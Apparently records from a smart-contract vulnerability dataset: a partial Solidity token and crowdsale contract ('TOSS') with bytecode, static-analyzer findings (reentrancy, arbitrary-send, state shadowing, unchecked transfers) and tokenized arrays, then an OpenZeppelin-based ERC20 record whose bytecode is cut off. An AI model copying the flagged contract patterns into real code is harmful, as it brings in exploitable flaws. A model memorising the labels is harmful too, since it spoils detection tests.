not paused. */ modifier whenNotPaused(address _to) { require(!paused||unpausedWallet[msg.sender]||unpausedWallet[_to]); _; } // Add a wallet ignoring the "Exchange pause". Available to the owner of the contract. function setUnpausedWallet(address _wallet, bool mode) public { require(owner == msg.sender || msg.sender == Crowdsale(owner).wallets(uint8(Crowdsale.Roles.manager))); unpausedWallet[_wallet] = mode; } /** * @dev called by the owner to pause, triggers stopped state */ function setPause(bool mode) public onlyOwner { if (!paused && mode) { paused = true; emit Pause(); } if (paused && !mode) { paused = false; emit Unpause(); } } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { mapping (address => bool) public grantedToSetUnpausedWallet; function transfer(address _to, uint256 _value) public whenNotPaused(_to) returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused(_to) returns (bool) { return super.transferFrom(_from, _to, _value); } function grantToSetUnpausedWallet(address _to, bool permission) public { require(owner == msg.sender || msg.sender == Crowdsale(owner).wallets(uint8(Crowdsale.Roles.manager))); grantedToSetUnpausedWallet[_to] = permission; } // Add a wallet ignoring the "Exchange pause". Available to the owner of the contract. function setUnpausedWallet(address _wallet, bool mode) public { require(owner == msg.sender || grantedToSetUnpausedWallet[msg.sender] || msg.sender == Crowdsale(owner).wallets(uint8(Crowdsale.Roles.manager))); unpausedWallet[_wallet] = mode; } } contract MigratableToken is BasicToken,Ownable { uint256 public totalMigrated; address public migrationAgent; event Migrate(address indexed _from, address indexed _to, uint256 _value); function setMigrationAgent(address _migrationAgent) public onlyOwner { require(migrationAgent == 0x0); migrationAgent = _migrationAgent; } function migrateInternal(address _holder) internal { require(migrationAgent != 0x0); uint256 value = balances[_holder]; balances[_holder] = 0; totalSupply_ = totalSupply_.sub(value); totalMigrated = totalMigrated.add(value); MigrationAgent(migrationAgent).migrateFrom(_holder, value); emit Migrate(_holder,migrationAgent,value); } function migrateAll(address[] _holders) public onlyOwner { for(uint i = 0; i < _holders.length; i++){ migrateInternal(_holders[i]); } } // Reissue your tokens. function migrate() public { require(balances[msg.sender] > 0); migrateInternal(msg.sender); } } contract MigrationAgent { function migrateFrom(address _from, uint256 _value) public; } contract FreezingToken is PausableToken { struct freeze { uint256 amount; uint256 when; } mapping (address => freeze) freezedTokens; // @ Do I have to use the function no // @ When it is possible to call any time // @ When it is launched automatically - // @ Who can call the function any function freezedTokenOf(address _beneficiary) public view returns (uint256 amount){ freeze storage _freeze = freezedTokens[_beneficiary]; if(_freeze.when < now) return 0; return _freeze.amount; } // @ Do I have to use the function no // @ When it is possible to call any time // @ When it is launched automatically - // @ Who can call the function any function defrostDate(address _beneficiary) public view returns (uint256 Date) { freeze storage _freeze = freezedTokens[_beneficiary]; if(_freeze.when < now) return 0; return _freeze.when; } // ***CHECK***SCENARIO*** function freezeTokens(address _beneficiary, uint256 _amount, uint256 _when) public onlyOwner { freeze storage _freeze = freezedTokens[_beneficiary]; _freeze.amount = _amount; _freeze.when = _when; } function transferAndFreeze(address _to, uint256 _value, uint256 _when) external { require(unpausedWallet[msg.sender]); if(_when > 0){ freeze storage _freeze = freezedTokens[_to]; _freeze.amount = _freeze.amount.add(_value); _freeze.when = (_freeze.when > _when)? _freeze.when: _when; } transfer(_to,_value); } function transfer(address _to, uint256 _value) public returns (bool) { require(balanceOf(msg.sender) >= freezedTokenOf(msg.sender).add(_value)); return super.transfer(_to,_value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(balanceOf(_from) >= freezedTokenOf(_from).add(_value)); return super.transferFrom( _from,_to,_value); } } contract BurnableToken is BasicToken, Ownable { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(address _beneficiary, uint256 _value) public onlyOwner { require(_value <= balances[_beneficiary]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_beneficiary] = balances[_beneficiary].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_beneficiary, _value); emit Transfer(_beneficiary, address(0), _value); } } /* * Contract that is working with ERC223 tokens */ contract ERC223ReceivingContract { function tokenFallback(address _from, uint _value, bytes _data) public; } // (A2) // Contract token contract Token is FreezingToken, MintableToken, MigratableToken, BurnableToken { string public constant name = "TOSS"; string public constant symbol = "PROOF OF TOSS"; uint8 public constant decimals = 18; mapping (address => mapping (address => bool)) public grantedToAllowBlocking; // Address of smart contract that can allow other contracts to block tokens mapping (address => mapping (address => bool)) public allowedToBlocking; // Address of smart contract that can block tokens mapping (address => mapping (address => uint256)) public blocked; // Blocked tokens per blocker event TokenOperationEvent(string operation, address indexed from, address indexed to, uint256 value, address indexed _contract); modifier contractOnly(address _to) { uint256 codeLength; assembly { // Retrieve the size of the code on target address, this needs assembly . codeLength := extcodesize(_to) } require(codeLength > 0); _; } /** * @dev Transfer the specified amount of tokens to the specified address. * Invokes the `tokenFallback` function if the recipient is a contract. * The token transfer fails if the recipient is a contract * but does not implement the `tokenFallback` function * or the fallback function to receive funds. * * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. * @param _data Transaction metadata. */ function transferToContract(address _to, uint256 _value, bytes _data) public contractOnly(_to) returns (bool) { // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . super.transfer(_to, _value); ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); return true; } // @brief Allow another contract to allow another contract to block tokens. Can be revoked // @param _spender another contract address // @param _value amount of approved tokens function grantToAllowBlocking(address _contract, bool permission) contractOnly(_contract) public { grantedToAllowBlocking[msg.sender][_contract] = permission; emit TokenOperationEvent('grant_allow_blocking', msg.sender, _contract, 0, 0); } // @brief Allow another contract to block tokens. Can't be revoked // @param _owner tokens owner // @param _contract another contract address function allowBlocking(address _owner, address _contract) contractOnly(_contract) public { require(_contract != msg.sender && _contract != owner); require(grantedToAllowBlocking[_owner][msg.sender]); allowedToBlocking[_owner][_contract] = true; emit TokenOperationEvent('allow_blocking', _owner, _contract, 0, msg.sender); } // @brief Blocks tokens // @param _blocking The address of tokens which are being blocked // @param _value The blocked token count function blockTokens(address _blocking, uint256 _value) whenNotPaused(_blocking) public { require(allowedToBlocking[_blocking][msg.sender]); require(balanceOf(_blocking) >= freezedTokenOf(_blocking).add(_value) && _value > 0); balances[_blocking] = balances[_blocking].sub(_value); blocked[_blocking][msg.sender] = blocked[_blocking][msg.sender].add(_value); emit Transfer(_blocking, address(0), _value); emit TokenOperationEvent('block', _blocking, 0, _value, msg.sender); } // @brief Unblocks tokens and sends them to the given address (to _unblockTo) // @param _blocking The address of tokens which are blocked // @param _unblockTo The address to send to the blocked tokens after unblocking // @param _value The blocked token count to unblock function unblockTokens(address _blocking, address _unblockTo, uint256 _value) whenNotPaused(_unblockTo) public { require(allowedToBlocking[_blocking][msg.sender]); require(blocked[_blocking][msg.sender] >= _value && _value > 0); blocked[_blocking][msg.sender] = blocked[_blocking][msg.sender].sub(_value); balances[_unblockTo] = balances[_unblockTo].add(_value); emit Transfer(address(0), _blocking, _value); if (_blocking != _unblockTo) { emit Transfer(_blocking, _unblockTo, _value); } emit TokenOperationEvent('unblock', _blocking, _unblockTo, _value, msg.sender); } } // (B) // The contract for freezing tokens for the team.. contract AllocationTOSS is Ownable { using SafeMath for uint256; struct Share { uint256 proportion; uint256 forPart; } // How many days to freeze from the moment of finalizing ICO uint256 public unlockPart1; uint256 public unlockPart2; uint256 public totalShare; mapping(address => Share) public shares; ERC20Basic public token; address public owner; // The contract takes the ERC20 coin address from which this contract will work and from the // owner (Team wallet) who owns the funds. function AllocationTOSS(ERC20Basic _token, uint256 _unlockPart1, uint256 _unlockPart2) public{ unlockPart1 = _unlockPart1; unlockPart2 = _unlockPart2; token = _token; } function addShare(address _beneficiary, uint256 _proportion, uint256 _percenForFirstPart) onlyOwner external { shares[_beneficiary] = Share(shares[_beneficiary].proportion.add(_proportion),_percenForFirstPart); totalShare = totalShare.add(_proportion); } // If the time of freezing expired will return the funds to the owner. function unlockFor(address _owner) public { require(now >= unlockPart1); uint256 share = shares[_owner].proportion; if (now < unlockPart2) { share = share.mul(shares[_owner].forPart)/100; shares[_owner].forPart = 0; } if (share > 0) { uint256 unlockedToken = token.balanceOf(this).mul(share).div(totalShare); shares[_owner].proportion = shares[_owner].proportion.sub(share); totalShare = totalShare.sub(share); token.transfer(_owner,unlockedToken); } } } contract Creator{ Token public token = new Token(); RefundVault public refund = new RefundVault(); function createToken() external returns (Token) { token.transferOwnership(msg.sender); return token; } function createAllocation(Token _token, uint256 _unlockPart1, uint256 _unlockPart2) external returns (AllocationTOSS) { AllocationTOSS allocation = new AllocationTOSS(_token,_unlockPart1,_unlockPart2); allocation.transferOwnership(msg.sender); return allocation; } function createRefund() external returns (RefundVault) { refund.transferOwnership(msg.sender); return refund; } }
0x6060604052600436106100535763ffffffff60e060020a6000350416633b8b4a618114610058578063590e1ae31461008757806379dcbd3d1461009a5780639cbf9e36146100bf578063fc0c546a146100d2575b600080fd5b341561006357600080fd5b61006b6100e5565b604051600160a060020a03909116815260200160405180910390f35b341561009257600080fd5b61006b610159565b34156100a557600080fd5b61006b600160a060020a0360043516602435604435610168565b34156100ca57600080fd5b61006b61021f565b34156100dd57600080fd5b61006b610291565b600154600090600160a060020a031663f2fde38b3360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561013857600080fd5b5af1151561014557600080fd5b5050600154600160a060020a031691505090565b600154600160a060020a031681565b6000808484846101766102a0565b8084600160a060020a0316600160a060020a031681526020018381526020018281526020019350505050604051809103906000f08015156101b657600080fd5b905080600160a060020a031663f2fde38b3360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561020657600080fd5b5af1151561021357600080fd5b50919695505050505050565b60008054600160a060020a031663f2fde38b3360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561027057600080fd5b5af1151561027d57600080fd5b5050600054600160a060020a031691505090565b600054600160a060020a031681565b60405161063d806102b18339019056006060604052341561000f57600080fd5b60405160608061063d83398101604052808051919060200180519190602001805160008054600160a060020a03338116600160a060020a0319928316179092556001959095556002919091556005805495909116949093169390931790915550506105be8061007f6000396000f30060606040526004361061007f5763ffffffff60e060020a600035041663026c420781146100845780638da5cb5b146100a9578063ae7d0cac146100d8578063c631ca0a146100ff578063ce7c2ac214610112578063dde4997914610149578063ed28de8114610168578063f2fde38b1461017b578063fc0c546a1461019a575b600080fd5b341561008f57600080fd5b6100976101ad565b60405190815260200160405180910390f35b34156100b457600080fd5b6100bc6101b3565b604051600160a060020a03909116815260200160405180910390f35b34156100e357600080fd5b6100fd600160a060020a03600435166024356044356101c2565b005b341561010a57600080fd5b61009761025e565b341561011d57600080fd5b610131600160a060020a0360043516610264565b60405191825260208201526040908101905180910390f35b341561015457600080fd5b6100fd600160a060020a036004351661027d565b341561017357600080fd5b610097610474565b341561018657600080fd5b6100fd600160a060020a036004351661047a565b34156101a557600080fd5b6100bc610515565b60035481565b600654600160a060020a031681565b60005433600160a060020a039081169116146101dd57600080fd5b604080519081016040908152600160a060020a0385166000908152600460205220548190610211908563ffffffff61052416565b81526020908101839052600160a060020a038516600090815260049091526040902081518155602082015160019091015550600354610256908363ffffffff61052416565b600355505050565b60015481565b6004602052600090815260409020805460019091015482565b600080600154421015151561029157600080fd5b600160a060020a03831660009081526004602052604090205460025490925042101561031057600160a060020a0383166000908152600460205260409020600101546064906102e790849063ffffffff61053e16565b8115156102f057fe5b600160a060020a0385166000908152600460205260408120600101550491505b600082111561046f576003546005546103a6919061039a908590600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561037757600080fd5b5af1151561038457600080fd5b505050604051805191905063ffffffff61053e16565b9063ffffffff61056916565b600160a060020a0384166000908152600460205260409020549091506103d2908363ffffffff61058016565b600160a060020a0384166000908152600460205260409020556003546103fe908363ffffffff61058016565b600355600554600160a060020a031663a9059cbb848360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561045757600080fd5b5af1151561046457600080fd5b505050604051805150505b505050565b60025481565b60005433600160a060020a0390811691161461049557600080fd5b600160a060020a03811615156104aa57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600554600160a060020a031681565b60008282018381101561053357fe5b8091505b5092915050565b6000808315156105515760009150610537565b5082820282848281151561056157fe5b041461053357fe5b600080828481151561057757fe5b04949350505050565b60008282111561058c57fe5b509003905600a165627a7a723058208ccf64995458fde3a9e91ef1f7eb898f29500fd2105a3d4ed65fe034305273540029a165627a7a72305820be870249279f2a04f1a7452b5098e8d75e523458010d0e9252b05a99b190af020029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'shadowing-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2063, 14142, 21084, 2581, 14142, 22407, 2487, 2546, 2509, 8586, 16147, 2278, 4246, 2620, 2497, 2620, 2278, 2629, 4783, 2620, 2683, 2497, 2487, 2050, 2575, 2278, 17134, 2278, 2487, 1013, 1013, 2622, 1024, 6947, 1997, 10055, 1011, 16770, 1024, 1013, 1013, 10055, 1012, 4013, 1013, 1013, 1058, 12521, 1010, 2760, 1011, 5840, 1011, 2603, 1013, 1013, 6048, 1024, 7332, 7349, 14604, 2615, 1998, 22141, 8945, 14127, 2378, 1013, 1013, 24731, 1999, 2878, 2030, 1999, 2112, 2003, 10890, 1012, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2538, 1025, 1013, 1013, 1006, 17350, 1007, 1013, 1013, 1996, 2364, 3206, 2005, 1996, 5096, 1998, 2968, 1997, 6241, 1012, 1013, 1013, 2199, 8889, 8889, 8889, 8889, 8889, 8889, 8889, 8889, 8889, 8889, 8889, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,491
0x96e31086cF5aD30ce072A240e812eecFF398CB11
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: contracts/token/ERC20/behaviours/ERC20Decimals.sol pragma solidity ^0.8.0; /** * @title ERC20Decimals * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot. */ abstract contract ERC20Decimals is ERC20 { uint8 private immutable _decimals; /** * @dev Sets the value of the `decimals`. This value is immutable, it can only be * set once during construction. */ constructor(uint8 decimals_) { _decimals = decimals_; } function decimals() public view virtual override returns (uint8) { return _decimals; } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor(address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/token/ERC20/StandardERC20.sol pragma solidity ^0.8.0; /** * @title StandardERC20 * @dev Implementation of the StandardERC20 */ contract StandardERC20 is ERC20Decimals, ServicePayer { constructor( string memory name_, string memory symbol_, uint8 decimals_, uint256 initialBalance_, address payable feeReceiver_ ) payable ERC20(name_, symbol_) ERC20Decimals(decimals_) ServicePayer(feeReceiver_, "StandardERC20") { require(initialBalance_ > 0, "StandardERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } function decimals() public view virtual override returns (uint8) { return super.decimals(); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461014557806370a082311461015857806395d89b4114610181578063a457c2d714610189578063a9059cbb1461019c578063dd62ed3e146101af57600080fd5b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101e8565b6040516100c391906107fa565b60405180910390f35b6100df6100da3660046107d0565b61027a565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f366004610794565b610290565b60405160ff7f00000000000000000000000000000000000000000000000000000000000000121681526020016100c3565b6100df6101533660046107d0565b61033f565b6100f361016636600461073f565b6001600160a01b031660009081526020819052604090205490565b6100b661037b565b6100df6101973660046107d0565b61038a565b6100df6101aa3660046107d0565b610423565b6100f36101bd366004610761565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600380546101f790610875565b80601f016020809104026020016040519081016040528092919081815260200182805461022390610875565b80156102705780601f1061024557610100808354040283529160200191610270565b820191906000526020600020905b81548152906001019060200180831161025357829003601f168201915b5050505050905090565b6000610287338484610430565b50600192915050565b600061029d848484610554565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156103275760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103348533858403610430565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161028791859061037690869061084f565b610430565b6060600480546101f790610875565b3360009081526001602090815260408083206001600160a01b03861684529091528120548281101561040c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161031e565b6104193385858403610430565b5060019392505050565b6000610287338484610554565b6001600160a01b0383166104925760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161031e565b6001600160a01b0382166104f35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161031e565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105b85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161031e565b6001600160a01b03821661061a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f2061646472604482015262